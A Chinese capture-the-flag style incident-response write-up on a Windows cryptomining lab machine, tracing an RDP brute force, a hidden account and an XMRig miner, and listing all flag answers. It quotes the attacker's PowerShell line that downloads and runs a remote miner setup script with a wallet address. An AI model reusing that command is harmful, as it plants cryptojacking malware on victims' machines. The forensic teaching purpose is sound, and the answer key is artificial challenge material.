本次针对挖矿靶机开展应急响应,通过日志分析与进程排查,完整还原攻击链路,明确入侵方式与危害,为后续安全加固提供依据。
文章目录
靶机简介
前景需要:机房运维小陈,下班后发现还有工作没完成,然后上机器越用越卡,请你帮他看看原因。
挑战题解
- 攻击者的IP地址
- 攻击者开始攻击的时间
- 攻击者攻击的端口
- 挖矿程序的md5
- 后门脚本的md5
- 矿池地址
- 钱包地址
- 攻击者是如何攻击进入的
解题:运行桌面上的解题工具即可
直接Vmware打开即可,如若打不开,请使用最新版本Vmware
相关账户密码:Administrator / zgsf@123
话不多说,直接开始;
溯源过程
打开靶机,我们发现这是一台Windows 10的服务器:

进入到靶机,既然是"机器越用越开",那肯定得从进程以及端口服务看起:
查找系统文件夹
打开任务管理器,发现一个XMRig miner的进程占用了大部分的CPU资源:

打开文件所在位置:C:\Users\Administrator\c3pool

尝试结束进程,发现又立刻重启,所以只能先找到启动它的源头;(发现了一个.bat脚本文件)

bash
miner.bat - 记事本
文件(F) 编辑(E) 格式(O) 查看(V) 帮助(H)
@echo off
tasklist /fi "imagename eq xmrig.exe" | find ":" > NUL
if errorlevel 1 goto ALREADY_RUNNING
start /low ~dp0xmrig.exe %*
goto EXIT
:ALREADY_RUNNING
echo Monero miner is already running in the background. Refusing to run another one.
echo Run "taskkill /IM xmrig.exe" if you want to remove background miner first.
:EXIT
该脚本作用:这是一个Monero(门罗币)挖矿程序的启动脚本,主要功能是:检查挖矿进程是否已在运行,避免重复启动多个挖矿程序占用系统资源。
- 检测系统中xmrig.exe(门罗币挖矿进程)的运行状态
- 未运行→以低优先级启动同目录下的该挖矿进程
- 已运行→输出提示拒绝重复启动,并给出进程终止指令
echo Run "taskkill /IM xmrig.exe"
开机启动项 / 计划任务排查
这里我们上传工具帮助查找:

在C:\Users\Administrator\AppData 发现了攻击者远程下载恶意程序的.bat脚本:

内容如下:
bash
powershell -Command "$wc = New-Object System.Net.WebClient; $tempfile = [System.IO.Path]::GetTempFileName(); $tempfile += '.bat'; $wc.DownloadFile('https://download.c3pool.org/xmrig_setup/raw/master/setup_c3pool_miner.bat', $tempfile); & $tempfile 4APXVhukGNiR5kqqVC7jwiVaa5jDxUgPohEtAyuRS1uyeL6K1LkkBy9SKx5W1M7gYyNneusud6A8hKjJCtVbeoFARuQTu4Y; Remove-Item -Force $tempfile"
作用:
- 初始化组件:创建.NET WebClient对象,用于网络文件下载;
- 生成临时文件:通过系统API获取临时文件路径,追加.bat后缀,构建批处理临时文件;
- 远程下载执行:从指定URL下载挖矿批处理脚本到临时文件,传递门罗币钱包地址作为参数执行该脚本;
- 清理痕迹:执行完成后强制删除临时批处理文件,清除执行痕迹。
一句话总结
通过PowerShell调用.NET组件下载远程挖矿脚本,传入钱包地址执行后自动删除临时文件,实现无文件落地式挖矿程序部署。
至此,我们可以知道攻击者在入侵服务器后,远程下载了恶意挖矿程序,并且设置了一个开机自启动的
.bat脚本来执行;
日志排查
回到桌面,发现了向日葵远程和DMZ主机的账号密码:


这里我们可以尝试查找他们的日志,来判断攻击者进入的时间以及手段;(优先于系统日志)
但很显然失败了:

这里我们开始系统日志的排查:
应急响应里,Windows 最核心、必查的三大系统日志是:
- 系统日志(System)
- 安全日志(Security)
- 应用程序日志(Application)
所以我们首先查看"安全日志",在登陆失败和成功的记录中,我们得到如下信息:


可以看到:
- 受害主机收到来自 192.168.115.131 的 NTLM 远程认证请求 ,使用 administrator 账户,认证失败(4625)。
- 行为判定:横向移动尝试 / 远程登录爆破。
并且还创建了隐藏用户:MINWINPC$

(但是已经被删除了,只留下了记录;)
同时还发现了powershell的执行命令记录:

攻击链还原:攻击者通过远程桌面登陆进入服务器,并创建隐藏用户MINWINPC$;
答题flag
根据上述我们的答题过程,具体攻击路径还原如下:
bash
1. 攻击者于2024-05-21 20:25:22,通过NTLM认证对目标主机发起远程登录尝试,尝试使用`administrator`账户登录。
↓
2. 攻击者成功获取主机权限后,执行PowerShell恶意命令,从远程地址下载挖矿脚本。
↓
3. 攻击者执行挖矿脚本,在目标主机部署`xmrig`门罗币挖矿程序。
↓
4. 攻击者创建计划任务,实现挖矿程序的开机自启与周期执行,维持持久化驻留。
↓
5. 挖矿程序启动后持续占用系统CPU资源,导致主机性能下降,形成挖矿入侵事件。
1. 攻击者的IP地址

具体部分在"日志排查",可以知道攻击者IP为:192.168.115.131
2. 攻击者开始攻击的时间
同上图,具体部分在"日志排查",登陆失败日志显示攻击时间为:2024/5/21 20:25:22
3. 攻击者攻击的端口

具体部分在"日志排查",可以知道登陆的方式为RDP远程登陆 ,而端口则为3389
4. 挖矿程序的md5
具体部分在"查找系统文件夹",挖矿程序的具体路径为:C:\Users\Administrator\c3pool,而其hash值可以使用命令得到:
bash
certutil -hashfile C:\Users\Administrator\c3pool\xmrig.exe MD5
结果如下:4e8d73bdcb2760dfe3cbbf60b8f2bd8c

这里可能是我把原来的删除了,然后重新下载,导致md5值不对,所以正确的hash值为:
a79d49f425f95e70ddf0c68c18abc564
5. 后门脚本的md5
具体部分在"开机启动项 / 计划任务排查",在C:\Users\Administrator\AppData 发现了攻击者远程下载恶意程序的.bat脚本:
尝试点击执行下载,就会发现他会从远程网址下载到本地并执行:

命令还是一样:
bash
certutil -hashfile C:\Users\Administrator\AppData\systems.bat MD5
结果如下:8414900f4c896964497c2cf6552ec4b9

6. 矿池地址
上述各个部分都有提及矿池地址,我们可以找到配置文件:进入 C:\Users\Administrator\c3pool 目录,打开 config.json(xmrig.exe 的配置文件)

经过测试,只需要保留顶级域名c3pool.org
7. 钱包地址
钱包位置:在 config.json 中找到"user"字段,其值即为钱包地址:

得到结果:4APXVhukGNiR5kqqVC7jwiVaa5jDxUgPohEtAyuRS1uyeL6K1LkkBy9SKx5W1M7gYyNneusud6A8hKjJCtVbeoFARuQTu4Y
8. 攻击者是如何攻击进入的
具体部分在"日志排查":


根据上述很容易知道:击者通过 暴力破解RDP(3389端口)密码,猜解出 Administrator/zgsf@123 后,远程登录系统,随后植入后门脚本与挖矿程序。
提交题解
结果如下:

bash
C:\Users\Administrator\Desktop>解题系统.exe
欢迎使用 知攻善防实验室 解题系统
在解题之前,请先确保您得到以下答案:
1.攻击者开始攻击的时间
2.攻击者的ip地址
3.攻击者攻击的端口
4.挖矿程序的md5
5.后门脚本的md5
6.矿池地址(仅域名)
7.攻击者的钱包地址
8.攻击者是如何攻击进入的
你准备好了吗?(y/n):y
请输入攻击者开始攻击的时间(格式:xxxx-xx-xx xx:xx:xx):2024-05-21 20:25:22
正确!!!
请输入攻击者的IP地址:192.168.115.131
正确!!!
请输入攻击者攻击的端口(格式:xxxx):3389
正确!!!
请输入挖矿程序的md5:A79D49F425F95E70DDF0C68C18ABC564
正确!!!
请输入后门程序md5:8414900F4C896964497C2CF6552EC4B9
正确!!!
请输入矿池地址(仅顶级域名):c3pool.org
正确!!!
请输入攻击者钱包地址:4APXVhukGNiR5kqqVC7jwiVaa5jDxUgPohEtAyuRS1uyeL6K1LkkBy9SKx5W1M7gYyNneusud6A8hKjJCtVbeoFARuQTu4Y
正确!!!
请输入攻击者是如何攻击进入的(格式:XXXX):暴力破解
正确!!!
恭喜你,您已成功攻克此靶机
恭喜你,您已成功攻克此靶机
恭喜你,您已成功攻克此靶机
恭喜你,您已成功攻克此靶机
恭喜你,您已成功攻克此靶机
请按任意键继续. . .
总结
期待下次再见;